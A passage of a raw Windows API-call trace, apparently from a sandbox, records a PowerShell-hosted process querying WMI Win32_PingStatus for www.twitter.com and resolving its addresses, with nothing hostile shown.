ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5f7fb68*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.65"), ai_next=0x0))) [0161.613] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5bde318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0161.614] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5bde318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0161.614] EtwEventActivityIdControl () returned 0x0 [0161.614] EtwEventActivityIdControl () returned 0x0 [0161.614] EtwEventActivityIdControl () returned 0x0 [0161.616] EtwEventActivityIdControl () returned 0x0 [0161.616] EtwEventActivityIdControl () returned 0x0 [0161.616] EtwEventActivityIdControl () returned 0x0 [0161.618] EtwEventWriteTransfer () returned 0x0 [0161.621] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4e4 [0161.621] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0161.621] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0161.621] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.622] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25e896c*=0, plFlavor=0x25e8970*=0 | out: pVal=0x5bde538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25e896c*=8, plFlavor=0x25e8970*=64) returned 0x0 [0161.622] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.622] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.622] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25e896c*=8, plFlavor=0x25e8970*=64 | out: pVal=0x5bde540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25e896c*=8, plFlavor=0x25e8970*=64) returned 0x0 [0161.622] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.622] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.622] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0161.622] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0161.622] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.622] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__CLASS", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25e8a08*=0, plFlavor=0x25e8a0c*=0 | out: pVal=0x5bde538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25e8a08*=8, plFlavor=0x25e8a0c*=64) returned 0x0 [0161.622] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.622] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.622] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__CLASS", lFlags=0, pVal=0x5bde540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25e8a08*=8, plFlavor=0x25e8a0c*=64 | out: pVal=0x5bde540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25e8a08*=8, plFlavor=0x25e8a0c*=64) returned 0x0 [0161.622] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.622] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.622] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0161.622] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0161.623] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.623] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__Derivation", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25e8b64*=0, plFlavor=0x25e8b68*=0 | out: pVal=0x5bde538*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8af10*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3dd0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25e8b64*=8200, plFlavor=0x25e8b68*=64) returned 0x0 [0161.623] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__Derivation", lFlags=0, pVal=0x5bde540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25e8b64*=8200, plFlavor=0x25e8b68*=64 | out: pVal=0x5bde540*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8afd0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3dd0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25e8b64*=8200, plFlavor=0x25e8b68*=64) returned 0x0 [0161.623] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0161.623] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0161.623] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.623] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__CLASS", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25e8dcc*=0, plFlavor=0x25e8dd0*=0 | out: pVal=0x5bde538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25e8dcc*=8, plFlavor=0x25e8dd0*=64) returned 0x0 [0161.623] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.623] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.624] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__CLASS", lFlags=0, pVal=0x5bde540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25e8dcc*=8, plFlavor=0x25e8dd0*=64 | out: pVal=0x5bde540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25e8dcc*=8, plFlavor=0x25e8dd0*=64) returned 0x0 [0161.624] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.624] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.624] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0161.624] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0161.624] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.624] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__Derivation", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25e8ef4*=0, plFlavor=0x25e8ef8*=0 | out: pVal=0x5bde538*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8af10*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3dd0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25e8ef4*=8200, plFlavor=0x25e8ef8*=64) returned 0x0 [0161.624] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__Derivation", lFlags=0, pVal=0x5bde540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25e8ef4*=8200, plFlavor=0x25e8ef8*=64 | out: pVal=0x5bde540*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8afd0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3dd0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25e8ef4*=8200, plFlavor=0x25e8ef8*=64) returned 0x0 [0161.624] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde554 | out: puCount=0x5bde554*=0x2) returned 0x0 [0161.625] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde550*=0x0, pszText=0x0 | out: puBuffLength=0x5bde550*=0xf, pszText=0x0) returned 0x0 [0161.625] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde550*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde550*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.625] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde554 | out: puCount=0x5bde554*=0x2) returned 0x0 [0161.625] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde550*=0x0, pszText=0x0 | out: puBuffLength=0x5bde550*=0xf, pszText=0x0) returned 0x0 [0161.625] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde550*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde550*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.625] IWbemClassObject:GetNames (in: This=0x5f765d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde55c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde550 | out: pNames=0x5bde550*="\x01ƀ\x04") returned 0x0 [0161.625] SafeArrayGetDim (psa=0x5f8af70) returned 0x1 [0161.625] SafeArrayGetDim (psa=0x5f8af70) returned 0x1 [0161.625] SafeArrayGetLBound (in: psa=0x5f8af70, nDim=0x1, plLbound=0x5bde3e8 | out: plLbound=0x5bde3e8) returned 0x0 [0161.625] SysStringByteLen (bstr="__GENUS") returned 0xe [0161.625] SysStringByteLen (bstr="__GENUS") returned 0xe [0161.625] SysStringByteLen (bstr="__CLASS") returned 0xe [0161.625] SysStringByteLen (bstr="__CLASS") returned 0xe [0161.625] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0161.625] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0161.625] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0161.625] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0161.625] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0161.625] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0161.626] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0161.626] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0161.626] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0161.626] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0161.626] SysStringByteLen (bstr="__SERVER") returned 0x10 [0161.626] SysStringByteLen (bstr="__SERVER") returned 0x10 [0161.626] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0161.626] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0161.626] SysStringByteLen (bstr="__PATH") returned 0xc [0161.626] SysStringByteLen (bstr="__PATH") returned 0xc [0161.626] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__GENUS", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25e9730*=0, plFlavor=0x25e9734*=0 | out: pVal=0x5bde54c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x25e9730*=3, plFlavor=0x25e9734*=64) returned 0x0 [0161.626] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__CLASS", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25e9764*=0, plFlavor=0x25e9768*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25e9764*=8, plFlavor=0x25e9768*=64) returned 0x0 [0161.626] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.626] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.626] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25e97bc*=0, plFlavor=0x25e97c0*=0 | out: pVal=0x5bde54c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25e97bc*=8, plFlavor=0x25e97c0*=64) returned 0x0 [0161.627] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25e97e4*=0, plFlavor=0x25e97e8*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25e97e4*=8, plFlavor=0x25e97e8*=64) returned 0x0 [0161.627] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.627] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.627] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__RELPATH", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25e983c*=0, plFlavor=0x25e9840*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25e983c*=8, plFlavor=0x25e9840*=64) returned 0x0 [0161.627] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0161.627] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0161.627] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25e9a18*=0, plFlavor=0x25e9a1c*=0 | out: pVal=0x5bde54c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x25e9a18*=3, plFlavor=0x25e9a1c*=64) returned 0x0 [0161.627] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25e9a4c*=0, plFlavor=0x25e9a50*=0 | out: pVal=0x5bde54c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8b000*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3dd0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25e9a4c*=8200, plFlavor=0x25e9a50*=64) returned 0x0 [0161.628] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SERVER", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25e9a80*=0, plFlavor=0x25e9a84*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x25e9a80*=8, plFlavor=0x25e9a84*=64) returned 0x0 [0161.628] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.628] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.628] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25e9acc*=0, plFlavor=0x25e9ad0*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25e9acc*=8, plFlavor=0x25e9ad0*=64) returned 0x0 [0161.628] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.628] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.628] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PATH", lFlags=0, pVal=0x5bde54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25e9b18*=0, plFlavor=0x25e9b1c*=0 | out: pVal=0x5bde54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25e9b18*=8, plFlavor=0x25e9b1c*=64) returned 0x0 [0161.628] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0161.628] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0161.628] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde590 | out: puCount=0x5bde590*=0x2) returned 0x0 [0161.628] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde58c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde58c*=0xf, pszText=0x0) returned 0x0 [0161.628] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde58c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde58c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.628] IWbemClassObject:Get (in: This=0x5f765d8, wszName="address", lFlags=0, pVal=0x5bde58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25e9d50*=0, plFlavor=0x25e9d54*=0 | out: pVal=0x5bde58c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x25e9d50*=8, plFlavor=0x25e9d54*=0) returned 0x0 [0161.628] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0161.628] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0161.629] IWbemClassObject:Get (in: This=0x5f765d8, wszName="address", lFlags=0, pVal=0x5bde5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25e9d50*=8, plFlavor=0x25e9d54*=0 | out: pVal=0x5bde5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x25e9d50*=8, plFlavor=0x25e9d54*=0) returned 0x0 [0161.629] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0161.629] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0161.629] GetAddrInfoW (in: pNodeName="www.twitter.com", pServiceName=0x0, pHints=0x5bde630*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x5bde5d8 | out: ppResult=0x5bde5d8*=0x5f98d30*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="twitter.com", ai_addr=0x5f7fb68*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.129"), ai_next=0x5f98ce0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5f7fb50*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.65"), ai_next=0x0))) returned 0 [0161.631] FreeAddrInfoW (pAddrInfo=0x5f98d30*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="twitter.com", ai_addr=0x5f7fb68*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.129"), ai_next=0x5f98ce0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5f7fb50*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.65"), ai_next=0x0))) [0161.631] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5bde318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0161.632] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5bde318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0161.632] EtwEventActivityIdControl () returned 0x0 [0161.632] EtwEventActivityIdControl () returned 0x0 [0161.632] EtwEventActivityIdControl () returned 0x0 [0161.633] EtwEventActivityIdControl () returned 0x0 [0161.633] EtwEventActivityIdControl () returned 0x0 [0161.633] EtwEventActivityIdControl () returned 0x0 [0161.644] EtwEventActivityIdControl () returned 0x0 [0161.644] EtwEventActivityIdControl () returned 0x0 [0161.644] EtwEventActivityIdControl () returned 0x0 [0161.644] EtwEventActivityIdControl () returned 0x0 [0161.644] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0161.644] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0161.645] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.645] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0161.645] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0161.645] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.645] IWbemClassObject:GetNames (in: This=0x5f765d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde85c | out: pNames=0x5bde85c*="\x01ƀ\x04") returned 0x0 [0161.645] SafeArrayGetDim (psa=0x5f8afd0) returned 0x1 [0161.645] SafeArrayGetDim (psa=0x5f8afd0) returned 0x1 [0161.645] SafeArrayGetLBound (in: psa=0x5f8afd0, nDim=0x1, plLbound=0x5bde6f4 | out: plLbound=0x5bde6f4) returned 0x0 [0161.645] SysStringByteLen (bstr="__GENUS") returned 0xe [0161.645] SysStringByteLen (bstr="__GENUS") returned 0xe [0161.645] SysStringByteLen (bstr="__CLASS") returned 0xe [0161.645] SysStringByteLen (bstr="__CLASS") returned 0xe [0161.645] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0161.645] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0161.645] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0161.645] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0161.645] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0161.645] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0161.646] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0161.646] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0161.646] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0161.646] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0161.646] SysStringByteLen (bstr="__SERVER") returned 0x10 [0161.646] SysStringByteLen (bstr="__SERVER") returned 0x10 [0161.646] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0161.646] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0161.646] SysStringByteLen (bstr="__PATH") returned 0xc [0161.646] SysStringByteLen (bstr="__PATH") returned 0xc [0161.646] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__GENUS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227497c*=0, plFlavor=0x2274980*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x227497c*=3, plFlavor=0x2274980*=64) returned 0x0 [0161.646] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__CLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22749b0*=0, plFlavor=0x22749b4*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22749b0*=8, plFlavor=0x22749b4*=64) returned 0x0 [0161.646] SysStringByteLen 